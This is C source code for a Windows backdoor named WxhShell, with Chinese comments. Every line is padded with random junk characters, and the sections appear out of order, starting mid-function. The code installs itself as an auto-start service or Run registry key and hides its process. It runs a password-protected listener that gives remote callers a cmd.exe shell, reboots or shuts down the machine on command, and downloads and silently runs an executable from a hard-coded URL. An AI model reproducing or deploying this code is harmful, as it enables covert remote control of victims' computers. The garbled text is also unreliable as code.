  // 关机 GY%9V5GB  
  case 'd': { 7g\v (P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I2[Z0G@&=  
    if(Boot(SHUTDOWN)) <=M5)#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 7BSJ   
    else { P0l fK}  
    closesocket(wsh); 4&mY-N7A  
    ExitThread(0); JbPkC*.  
    } dy&G~F28  
    break; ,hn#DJ)  
    }  XIInI  
  // 获取shell 8z`ZHn3=  
  case 's': { qUJ"* )S  
    CmdShell(wsh); ;g0Q_F@;p  
    closesocket(wsh); a{kJ`fK   
    ExitThread(0); 6!\V|  
    break; ywwA,9~  
  } a !VWWUTm?  
  // 退出 0/R;g~q@  
  case 'x': { |a{; <a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nny*C`uDF  
    CloseIt(wsh); ;ElCWs->\  
    break; W=+n |1  
    } hVz yvpw  
  // 离开 @_ %RQO_X  
  case 'q': { cMY}Y [2c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rN}pi@  
    closesocket(wsh); A9xe Oy8e  
    WSACleanup(); //63|;EEkl  
    exit(1); g04^M (  
    break; 1&boD\ 7  
        } \CjJa(vV  
  } w}3N!jNDv  
  } X _ZO)|  
D6bYg `  
  // 提示信息 R-Edht|{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); syl7i>P  
} W.j^L;  
  } _k@cs^  
*tqD:hiF  
  return; [7I:Dm  
} d A)T>  
jFN0xGZ  
// shell模块句柄 wn[)/*(,$(  
int CmdShell(SOCKET sock) L$PbC!1  
{ `+,?%W)  
STARTUPINFO si; p1UloG\  
ZeroMemory(&si,sizeof(si)); a=MN:s?Fc0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  0s;~9>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]o] VS  
PROCESS_INFORMATION ProcessInfo; Lz 1.+:Ag  
char cmdline[]="cmd"; &|Gg46P7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o/{`\4  
  return 0; ' [$KG  
} ,JwX*L<:  
Z<X=00,wg  
// 自身启动模式 eK7A8\;e  
int StartFromService(void) y0xBNhev  
{ >=N-P< %  
typedef struct : @|Rj_S;  
{ vMz|'-rm$  
  DWORD ExitStatus; ZXnacc~s  
  DWORD PebBaseAddress; |m's)  
  DWORD AffinityMask; ?}?"m:=  
  DWORD BasePriority; [icD*N<Gc  
  ULONG UniqueProcessId; :E")Zw&sW3  
  ULONG InheritedFromUniqueProcessId; vkG#G]Qs";  
}   PROCESS_BASIC_INFORMATION; E)*ht;u  
9lq5\ tL-  
PROCNTQSIP NtQueryInformationProcess; .YF1H<gwa  
!ZTghX}D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PNm@mC_fh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |+Wn5iT  
|ke0G  
  HANDLE             hProcess; -64l f-<  
  PROCESS_BASIC_INFORMATION pbi; /9_%NR[  
X_78;T)uA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XUP{]w`.Z  
  if(NULL == hInst ) return 0; >w.;A%|N  
$z$^ yjL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6_`Bo%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FJ0I&FyWs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =`+D/ W\[Y  
yr%[IX]R  
  if (!NtQueryInformationProcess) return 0; .)/ ."V  
7hk<{gnr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UBL{3s^"  
  if(!hProcess) return 0; QT c{7&  
,b5'<3\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t'2A)S  
BH'*I yv  
  CloseHandle(hProcess); ~v8X>XDL?T  
 xL15uWk-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $`lWW6>P  
if(hProcess==NULL) return 0; W`x.qumN  
,7wYa&  
HMODULE hMod; xKu#O H  
char procName[255]; znrO~OK  
unsigned long cbNeeded; $NR[U+  
Tx} Nr^   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JMB#KzvN[  
XZ%[;[  
  CloseHandle(hProcess); icb)JZ1K  
4M&$wi  
if(strstr(procName,"services")) return 1; // 以服务启动 =][ )|n  
RI*n]HNgy+  
  return 0; // 注册表启动 =AO (  
} ]njNSn  
mh8fJ6j29N  
// 主模块 u[**,.Ecg  
int StartWxhshell(LPSTR lpCmdLine) T U6s~  
{ >5t! Xt  
  SOCKET wsl; eWFkUjz  
BOOL val=TRUE; XR..DVab  
  int port=0; 4`8s]X  
  struct sockaddr_in door; M0$MK>  
%np(z&@wi  
  if(wscfg.ws_autoins) Install(); "s|P,*Xf  
K+)3 LR^  
port=atoi(lpCmdLine); 6,5h4[eF*  
o}Grb/LJ  
if(port<=0) port=wscfg.ws_port; a{xJ#_/6  
qy'-'UlIr  
  WSADATA data; K9zr]7;th  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4FzTf7h^  
,\i*vJ#f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X$UK;O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )p>Cf_[.  
  door.sin_family = AF_INET; dU9;sx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _&]7  
  door.sin_port = htons(port); 6 rnFXZ\  
Md4Q.8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?EC\ .{  
closesocket(wsl); ;~0q23{+;U  
return 1; (9`dLw5  
} deAV:c  
}W^@mi  
  if(listen(wsl,2) == INVALID_SOCKET) { C`r:jA<LC,  
closesocket(wsl); kSV(T'#x  
return 1; :6o%x0l  
} g?80>-!bF  
  Wxhshell(wsl);  D_dv8  
  WSACleanup(); ,a&,R*r@&  
+(= -95qZ  
return 0; ZP~H!  
ZV--d'YiEm  
} sgO au\E  
x1Gx9z9  
// 以NT服务方式启动 2OUx@Vj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !-)!UQ~|8  
{ U@q5`4-!8  
DWORD   status = 0; I\TSVJk^Xi  
  DWORD   specificError = 0xfffffff; +IS6l*_y>6  
)P7ep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .I>rX#aNt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >/74u/&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rA ={;`  
  serviceStatus.dwWin32ExitCode     = 0; se.HA  
  serviceStatus.dwServiceSpecificExitCode = 0; 2V]a+Cgk  
  serviceStatus.dwCheckPoint       = 0; \i+AMduAo  
  serviceStatus.dwWaitHint       = 0; EPJ>@A>;D  
`V9bd}M%~;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d:hnb)I$*  
  if (hServiceStatusHandle==0) return; .#~!w!T  
8XYxyOl  
status = GetLastError(); "*HM8\  
  if (status!=NO_ERROR) :|9vMM^$  
{ ;"cQ)=s9Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @Y`Z3LiR$  
    serviceStatus.dwCheckPoint       = 0; pfZ[YC-  
    serviceStatus.dwWaitHint       = 0; FdE?uw  
    serviceStatus.dwWin32ExitCode     = status; hrnE5=iY  
    serviceStatus.dwServiceSpecificExitCode = specificError; &Y^4>y%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PESvx>:  
    return; Je|:\Qk  
  } ?GH/W#{o)  
x%s1)\^A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qw5-/p=t  
  serviceStatus.dwCheckPoint       = 0; h[u@UGK%  
  serviceStatus.dwWaitHint       = 0; WyOav6/*K^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1n<4yfJ  
} 8o+:|V~X  
|$ ^3 5F  
// 处理NT服务事件,比如:启动、停止 =~JVU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Z>??|f  
{ \)5mO 8w  
switch(fdwControl) <pV8 +V)  
{ zgz!"knVx  
case SERVICE_CONTROL_STOP: j_d}?jh  
  serviceStatus.dwWin32ExitCode = 0; p>eYi \'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R`]@.i4tt  
  serviceStatus.dwCheckPoint   = 0; [_jw8`  
  serviceStatus.dwWaitHint     = 0; /RJ]MQ\*O  
  { 3\4e{3$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qqo#H O  
  } l$1?@l$j  
  return; ?,x\46]>_K  
case SERVICE_CONTROL_PAUSE: ~]?s A{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SW%}S*h  
  break; 5eL b/,R  
case SERVICE_CONTROL_CONTINUE: Y2tVq})!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QuEX|h,F  
  break; C9?mxa*z  
case SERVICE_CONTROL_INTERROGATE: EVLL,x.~:z  
  break; w0;4O)H$O  
}; 7[P-;8)tq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x-c5iahp'  
} L4B/ g)K  
/&|p7  
// 标准应用程序主函数 . q -: 3b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3 1c*^ZE.  
{ U2?R&c;b  
[-[59 H[6)  
// 获取操作系统版本 C) R hld  
OsIsNt=GetOsVer(); y;CX )!8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pYzop4  
dhA~Yu  
  // 从命令行安装 2]?=\_T  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,\iXZ5"R  
59{X;  
  // 下载执行文件 'm`}XGUBS  
if(wscfg.ws_downexe) { . s>@@m-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K" VcPDK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5?H wM[`  
} N@tKgx  
~tWh6-:|{J  
if(!OsIsNt) { c_ncx|dUs  
// 如果时win9x,隐藏进程并且设置为注册表启动 xDU \mfeGj  
HideProc(); #8M?y*<I  
StartWxhshell(lpCmdLine);  :QP1!  
} ~}j+~  
else )EB+(c~E  
  if(StartFromService()) vu@.;-2E%  
  // 以服务方式启动 'fl.&"/r  
  StartServiceCtrlDispatcher(DispatchTable); @@^iN~uf  
else _f";zd  
  // 普通方式启动 B<L7`xL  
  StartWxhshell(lpCmdLine); T5|kO:CbHq  
;8XRs?xyd  
return 0; z H-a%$5  
} 'WhJ}Uo\  
$365VTh"  
al}J^MJ  
L!*+: L DL  
=========================================== [u!n=ev  
?2#'>B  
y>w;'QR&a  
&~+QPnI>Pm  
VO eVS&}  
n"RV!{&  
" ?ckV 2  
b4dviYI  
#include <stdio.h> 2#:p:R8I>  
#include <string.h> M5w/TN  
#include <windows.h> =K0%bI  
#include <winsock2.h> 7^#f)Vp  
#include <winsvc.h> pD({"A.x9z  
#include <urlmon.h> MhCU; !  
9MfU{4:;I  
#pragma comment (lib, "Ws2_32.lib") yIn$ApSGY  
#pragma comment (lib, "urlmon.lib") ? -:2f#bC  
11"r FZ  
#define MAX_USER   100 // 最大客户端连接数 q 0F6MAXj  
#define BUF_SOCK   200 // sock buffer fWq*Op.]c  
#define KEY_BUFF   255 // 输入 buffer V:L%GWU  
DFWO5Y_  
#define REBOOT     0   // 重启 h_#=f(.'j  
#define SHUTDOWN   1   // 关机 u#EcR}=]  
XEA5A.uc  
#define DEF_PORT   5000 // 监听端口 cQhr{W,Un  
9o5D3 d K  
#define REG_LEN     16   // 注册表键长度 In_"iEo,  
#define SVC_LEN     80   // NT服务名长度 TyIjDG6tM  
BZ:tVfg.  
// 从dll定义API 131(0nl)=I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xrvM}Il  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Zn8CmE V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R`c[ ?U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DNq(\@x[!  
D {Ol8:  
// wxhshell配置信息 gep#o$P  
struct WSCFG { R6(:l; W  
  int ws_port;         // 监听端口 hm73Zy  
  char ws_passstr[REG_LEN]; // 口令 RV  V`  
  int ws_autoins;       // 安装标记, 1=yes 0=no i:aW .QZ.  
  char ws_regname[REG_LEN]; // 注册表键名 v5'`iO0o  
  char ws_svcname[REG_LEN]; // 服务名 G*+^b'7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mTI`^e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nI]EfHU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <7Pp98si,u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \fTQNF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !\4B.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #}y8hzS$  
?Q-Tyf$3  
}; 9r]|P}yuS  
w1"+HJd  
// default Wxhshell configuration A/<u>cCW  
struct WSCFG wscfg={DEF_PORT, =${.*,o  
    "xuhuanlingzhe", Qh&Qsyo%  
    1, _|GbU1Hz  
    "Wxhshell", [ -$ Do  
    "Wxhshell", WuU wd#e  
            "WxhShell Service", uRko[W(  
    "Wrsky Windows CmdShell Service", 1`7zYW&L  
    "Please Input Your Password: ", "QdK Md  
  1, To>,8E+GAb  
  "http://www.wrsky.com/wxhshell.exe", oV:oc,  
  "Wxhshell.exe" D;C';O  
    }; XJe=+_K9  
ffmtTJFC5  
// 消息定义模块  eo9/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~I5hV}ZT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d:';s~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sRD fA4/TF  
char *msg_ws_ext="\n\rExit."; RJ3oI+gI  
char *msg_ws_end="\n\rQuit."; =lJ ?yuc  
char *msg_ws_boot="\n\rReboot..."; A! bG2{r  
char *msg_ws_poff="\n\rShutdown..."; p5#x7*xR6  
char *msg_ws_down="\n\rSave to "; 2g{tzR_j  
-n05Z@7  
char *msg_ws_err="\n\rErr!"; C*(  
char *msg_ws_ok="\n\rOK!"; GVXdyi  
y,nmPX?]n  
char ExeFile[MAX_PATH]; VQla.Y  
int nUser = 0; aL;!BlU8v  
HANDLE handles[MAX_USER]; mcez3gH  
int OsIsNt;  JaY"Wfc  
geR+v+B,  
SERVICE_STATUS       serviceStatus; &Pr\n&9A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zigv;}#  
[HQ)4xG  
// 函数声明 *z0d~j*W;  
int Install(void); Lg7A[\c ~  
int Uninstall(void); EhHxB fAQ  
int DownloadFile(char *sURL, SOCKET wsh); en< $.aY  
int Boot(int flag); \2s`mCY  
void HideProc(void); [Iks8ZWr_  
int GetOsVer(void); "O jAhKfG  
int Wxhshell(SOCKET wsl); *XTd9E^tXq  
void TalkWithClient(void *cs); tVn?cS  
int CmdShell(SOCKET sock); R7bG!1SHl  
int StartFromService(void); /g<Oh{o8  
int StartWxhshell(LPSTR lpCmdLine); xN-,gT'!  
>u$8Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tzex\]fw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -)}s{[]d6m  
sE"s!s/  
// 数据结构和表定义 :k/Xt$`  
SERVICE_TABLE_ENTRY DispatchTable[] = 2 kDsIEA  
{ rR.It,,  
{wscfg.ws_svcname, NTServiceMain}, !?>V^#c  
{NULL, NULL} }S/i3$F0~  
}; 1]7gYNzV"  
]P?< 2,  
// 自我安装 |ri)-Bk ,  
int Install(void) 9wWBE<}>u  
{ $"kPzo~B_  
  char svExeFile[MAX_PATH]; lME>U_E  
  HKEY key; T0w_d_aS  
  strcpy(svExeFile,ExeFile); lxL5Rit@Px  
8?+|4:#=*J  
// 如果是win9x系统,修改注册表设为自启动 k]@]a  
if(!OsIsNt) { =j,WQ66r3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F[jE#M=k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,L/x\_28  
  RegCloseKey(key); |u&cN-}C d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iQ/~?'PB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +"?+Be  
  RegCloseKey(key); o <q*3L5  
  return 0; 7PY$=L48A  
    } 2zTi/&K&  
  } <sH}X$/  
} !$Nj!  
else { %T/@/,7h  
KrE 'M  
// 如果是NT以上系统,安装为系统服务 X$Vi=fvt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fW-C`x  
if (schSCManager!=0) ShB]U5b:k  
{ .;?!I_`  
  SC_HANDLE schService = CreateService eTuqK23  
  ( z K<af  
  schSCManager, g":[rXvId  
  wscfg.ws_svcname, R+M&\ 5  
  wscfg.ws_svcdisp, T D _@0Rd  
  SERVICE_ALL_ACCESS,  z:,PwLU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;m(iKwDt  
  SERVICE_AUTO_START, sl]< A[jR  
  SERVICE_ERROR_NORMAL, E#k{<LYI  
  svExeFile, MYAt4cHc2  
  NULL, OR <+y~Rv  
  NULL, 3z+l-QO8  
  NULL, o<`hj&s  
  NULL, =gB5JB<}2  
  NULL ^|Q]WHNFB  
  ); ":Wq<Z'  
  if (schService!=0) kWzN {]v  
  { EbC!tR  
  CloseServiceHandle(schService); UnhVppnex  
  CloseServiceHandle(schSCManager); 3A#Tn7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GShxPH{_j  
  strcat(svExeFile,wscfg.ws_svcname); -JMn?]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -pu5O 9 @  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^xZh@e5  
  RegCloseKey(key); qlO}=b/  
  return 0; Ke$_l]}  
    } v 4ot08 C  
  } V0nQmsP1U  
  CloseServiceHandle(schSCManager); $T'!??|IF  
} 1+x" 5<(W  
} QU).q65p  
jj5S+ >4  
return 1; EApKN@<"  
} Z>rY9VvWD  
nr!N%Hi  
// 自我卸载 :L[>!~YG_n  
int Uninstall(void) aLO^>",  
{ PVCoXOqh  
  HKEY key; @R[{  
JB_fS/I  
if(!OsIsNt) { sXIYl% d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;'33Bm*  
  RegDeleteValue(key,wscfg.ws_regname); y~SVD@  
  RegCloseKey(key); J +6zV m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;5[KZ8j6Y  
  RegDeleteValue(key,wscfg.ws_regname); 8H!QekQZ]\  
  RegCloseKey(key); rpR${%jc  
  return 0; }#XFa#  
  } [0H0%z#tU&  
} oo5=5s6 3}  
} c`a(  
else { G.W !   
8t-GsjHb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ',+yD9 @  
if (schSCManager!=0) BrV{X&>[i  
{ Z~5) )5Ye;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xUo6~9s7  
  if (schService!=0) k:@DK9 "^  
  { +a1x;  
  if(DeleteService(schService)!=0) { Cm}2>eH  
  CloseServiceHandle(schService); OmYVJt_  
  CloseServiceHandle(schSCManager); V2MOD{Maat  
  return 0; W'lqNOX[v  
  } * QgKo$IF  
  CloseServiceHandle(schService); n<I{x^!  
  } rwm^{Qa  
  CloseServiceHandle(schSCManager); IPiV_c-l  
} sibYJKOy  
} ]-fkmnmWX  
%,$n^{v  
return 1; ?^}30V:E  
} TCtZ2 <'  
UX 1 )((  
// 从指定url下载文件 JfY*#({y  
int DownloadFile(char *sURL, SOCKET wsh) "}4%vZz  
{ 1yy?1&88S  
  HRESULT hr; i|YS>Pw~j  
char seps[]= "/"; mgs(n5V5  
char *token; a?c&#Jl  
char *file; !vnQ;g5  
char myURL[MAX_PATH]; vF$i"^;tJ;  
char myFILE[MAX_PATH]; 2-&EkF4p'  
.KsR48g8  
strcpy(myURL,sURL); B /? L$m  
  token=strtok(myURL,seps); ?pDr"XH~  
  while(token!=NULL) sDY~jP[Oa  
  { .L'w/"O  
    file=token; 0YeTS!*Aj  
  token=strtok(NULL,seps); \ mqx '  
  } c8RJOc4X  
}aCa2%  
GetCurrentDirectory(MAX_PATH,myFILE); #YUaM<O  
strcat(myFILE, "\\"); x0*{oP  
strcat(myFILE, file); M`xiC  
  send(wsh,myFILE,strlen(myFILE),0); gv#\}/->4  
send(wsh,"...",3,0); Y +gY"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3a/n/_D  
  if(hr==S_OK) Y.tx$%  
return 0; 4w4B\Na>l  
else YO6BzS/~  
return 1; VJh8`PVX  
SC{m@  
} 1J@Iekat  
P&-o>mM  
// 系统电源模块 <Au2e  
int Boot(int flag) iCt.rr~;V  
{ ]S|FK>U[  
  HANDLE hToken; niVR!l  
  TOKEN_PRIVILEGES tkp; !xM5 A[f  
KWTV!Wxb=K  
  if(OsIsNt) { 5=dL`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B@,9Cx564  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {|;a?] ?  
    tkp.PrivilegeCount = 1; x-^6U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zmMc*|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /r}L_wI  
if(flag==REBOOT) { q2GW3t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D7Q+w  
  return 0; YFKE>+  
} G)3I+uxn  
else { _;<!8e$C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Ak.KBg  
  return 0; f0<zK !  
} md!6@)S-p  
  } !_S>ER  
  else { V5|ANt  
if(flag==REBOOT) { [U\?+@E*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |s|}u`(@9  
  return 0; s6H'}[E<  
} 95DEuReKi  
else { Zed Fhm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nK&]8"  
  return 0; xU *:a[g  
} !-gU~0  
} ,Q`qnn&  
K*6"c.D  
return 1; So:X!ljN(e  
} >}5?`.K~Q*  
s -i|P  
// win9x进程隐藏模块 xad`-vw  
void HideProc(void) yPyu)  
{ NnZW@ln"|  
Bd>~F7VWs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @Mk`Tl  
  if ( hKernel != NULL ) >r.]a`  
  { YJi%vQ*]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8h )XULs2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MvVpp;bd  
    FreeLibrary(hKernel); AeJ ;g  
  } voWH.[n^_  
49$P  
return; <@<rU:o=V  
} J[ds.~ $  
gN&i &%*!  
// 获取操作系统版本 pO]gf$  
int GetOsVer(void) 5dBftTv?  
{ %36x'Dn ?  
  OSVERSIONINFO winfo; }xZi Ct  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :yay:3qv  
  GetVersionEx(&winfo); h8rW"8Th  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6&3,fSP  
  return 1; V0ze7tSG[f  
  else =TB_|`5;j  
  return 0; &H(yLd[  
} I[z:;4W}L^  
j!;LN)s@?  
// 客户端句柄模块 OLw]BJXYaE  
int Wxhshell(SOCKET wsl) xm'9n?  
{ .Po"qoGy  
  SOCKET wsh; _vQ52H,  
  struct sockaddr_in client; XTol|a=  
  DWORD myID; ez4!5&TzRm  
L"_X W no  
  while(nUser<MAX_USER) A|A~$v("R  
{ z^Q'GBoBA  
  int nSize=sizeof(client); [K{{P|(q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $-4](br|  
  if(wsh==INVALID_SOCKET) return 1; gesbt  
> A#5` $i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &$"#hGg  
if(handles[nUser]==0) %&ejO= r  
  closesocket(wsh); Z9{~t  
else J8|MK.oD  
  nUser++; Daf|.5>(@  
  } :uL<UD,vu3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;m/e|_4;y  
nF3}wCe)  
  return 0; O&%'j  
} +ikSa8)*i  
9u=A:n\  
// 关闭 socket H R>Y?B{  
void CloseIt(SOCKET wsh) p8Vqy-:  
{ OvfluFu7  
closesocket(wsh); F!z0N&#  
nUser--; .ZXoRT  
ExitThread(0); V^~RDOSy7n  
} g?j)p y  
FaHOutP  
// 客户端请求句柄 =~^b  
void TalkWithClient(void *cs) =?sG~  
{ "~KDm(D  
PN* .9;5Z  
  SOCKET wsh=(SOCKET)cs; )ycI.[C  
  char pwd[SVC_LEN]; -H| 9 82=  
  char cmd[KEY_BUFF]; .qBc;u  
char chr[1]; K7}.#*% ~  
int i,j; <'Q6\R}:vC  
]xC56se  
  while (nUser < MAX_USER) {  *7m lH  
hA=uoe\  
if(wscfg.ws_passstr) { y:G%p3h)[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m$0W^u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EOPx 4+o  
  //ZeroMemory(pwd,KEY_BUFF); Y&2FH/(M  
      i=0; V"Q\7,_k.  
  while(i<SVC_LEN) { ?_Qe45 @  
/A_:`MAZ  
  // 设置超时 D%SOX N  
  fd_set FdRead; XM'tIE+|  
  struct timeval TimeOut; w[~G^x&  
  FD_ZERO(&FdRead); m^X51,+<  
  FD_SET(wsh,&FdRead); CS^6$VL7e  
  TimeOut.tv_sec=8; OVK )]- ~  
  TimeOut.tv_usec=0; 84ij4ZYe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tBo\R?YRs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1M ?BSH{  
-cqE^qAdX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z?/_b  
  pwd=chr[0]; a~}q]o?j  
  if(chr[0]==0xd || chr[0]==0xa) { $4bc!  
  pwd=0; F:j@JMpQ  
  break; osC?2.  
  } h nydH-;cz  
  i++; *ug~LK5Y.  
    } v^"\e&XL  
E@VQxB7+  
  // 如果是非法用户,关闭 socket /t5)&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J[/WBVFDf  
} OB>Hiy   
S-t#d7'B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AD?zBg Zu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O'4G'H)   
|)x7qy`  
while(1) { Ek +R  
k4+vI1Cs  
  ZeroMemory(cmd,KEY_BUFF); 0U42QEG2  
@yp0WB  
      // 自动支持客户端 telnet标准   $8^Hk xy  
  j=0; /wD f,Hduz  
  while(j<KEY_BUFF) { bY_'B5$.^2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }[0nTd  
  cmd[j]=chr[0]; qqDg2,Yb  
  if(chr[0]==0xa || chr[0]==0xd) { zB.cOMx  
  cmd[j]=0; LV}R 9f  
  break; SYJO3cY  
  } -()WTdIy  
  j++; Xv1vq -cM  
    } m*^)#  
zt.k Nb  
  // 下载文件 OqtGKda  
  if(strstr(cmd,"http://")) { =D<0&M9C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]545:)Q1  
  if(DownloadFile(cmd,wsh)) (\\;A?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4%J!L<P  
  else @3`5(xwzm  
